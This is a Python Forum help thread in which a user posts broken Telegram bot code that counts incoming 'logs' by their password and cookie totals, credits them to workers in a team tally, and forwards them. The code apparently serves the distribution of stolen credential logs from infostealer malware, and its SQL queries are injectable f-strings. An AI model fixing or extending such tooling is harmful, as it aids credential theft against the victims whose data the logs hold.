Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Bot refuses to count logs.
#1
@bot.channel_post_handler(content_types=['text','photo','audio','video','document'])
def posts_from_channels(message):
if True:
try:
messtext = str(message.caption).split('\n')
first_text = messtext[0].split()

if first_text[0] == 'Номер:' and str(message.chat.id) == config.otstuklinkid:
dataLog = messtext[4].split()[1].split('|')
if int(dataLog[0]) >= config.minpass and int(dataLog[1]) >= config.mincookies:
kogoLog = messtext[1].split(' ')
kogoLog = str(kogoLog[1]).replace("@", "")
dataLog = str(messtext[4])
countryLog = str(messtext[5])
sql.execute(f"SELECT id FROM users WHERE login=' { kogoLog } '")
workerid = sql.fetchall()

sql.execute(f"UPDATE users SET alllogs=alllogs+1 WHERE login=' { kogoLog } '")
sql.execute(f"UPDATE infoteam SET alllogsteam=alllogsteam+1")
db.commit()
bot.forward_message(int(workerid[0][0]), message.chat.id, message.message_id)
print('[+] SUCCESS SEND LOG!')
except:
print('[-] ERROR SEND LOG')

help pls
Larz60+ write Dec-13-2021, 07:19 PM:
Please post all code, output and errors (it it's entirety) between their respective tags. Refer to BBCode help topic on how to post. Use the "Preview Post" button to make sure the code is presented as you expect before hitting the "Post Reply/Thread" button.
I'd fix it for you, but indentation is messed up.

Attached Files

Thumbnail(s)
       
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  keeping logs for every success fail attempt robertkwild 22 6,022 Jul-19-2024, 03:49 PM
Last Post: robertkwild
Question PDF Automation with Unique ID + Logs in xls File pollos 1 858 Jul-09-2024, 04:19 PM
Last Post: Pedroski55
  time difference bettwenn logs enkliy 14 3,641 Nov-21-2023, 04:51 PM
Last Post: rob101
  Row Count and coloumn count Yegor123 4 2,914 Oct-18-2022, 03:52 AM
Last Post: Yegor123
  Get Azure activity logs using python script raham3406 4 4,621 Apr-27-2021, 05:10 AM
Last Post: raham3406
  python realtime parsing logs anna 2 4,828 Jul-05-2020, 06:36 AM
Last Post: anna
  capture logs on specific port anna 1 2,304 Jun-27-2019, 03:47 PM
Last Post: Larz60+
  Collect logs for a function in python using shell script viru 1 4,763 Aug-28-2017, 07:54 PM
Last Post: nilamo
  [split] Save logs to server AmineBoj 3 4,571 Apr-23-2017, 09:42 PM
Last Post: Ofnuts

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020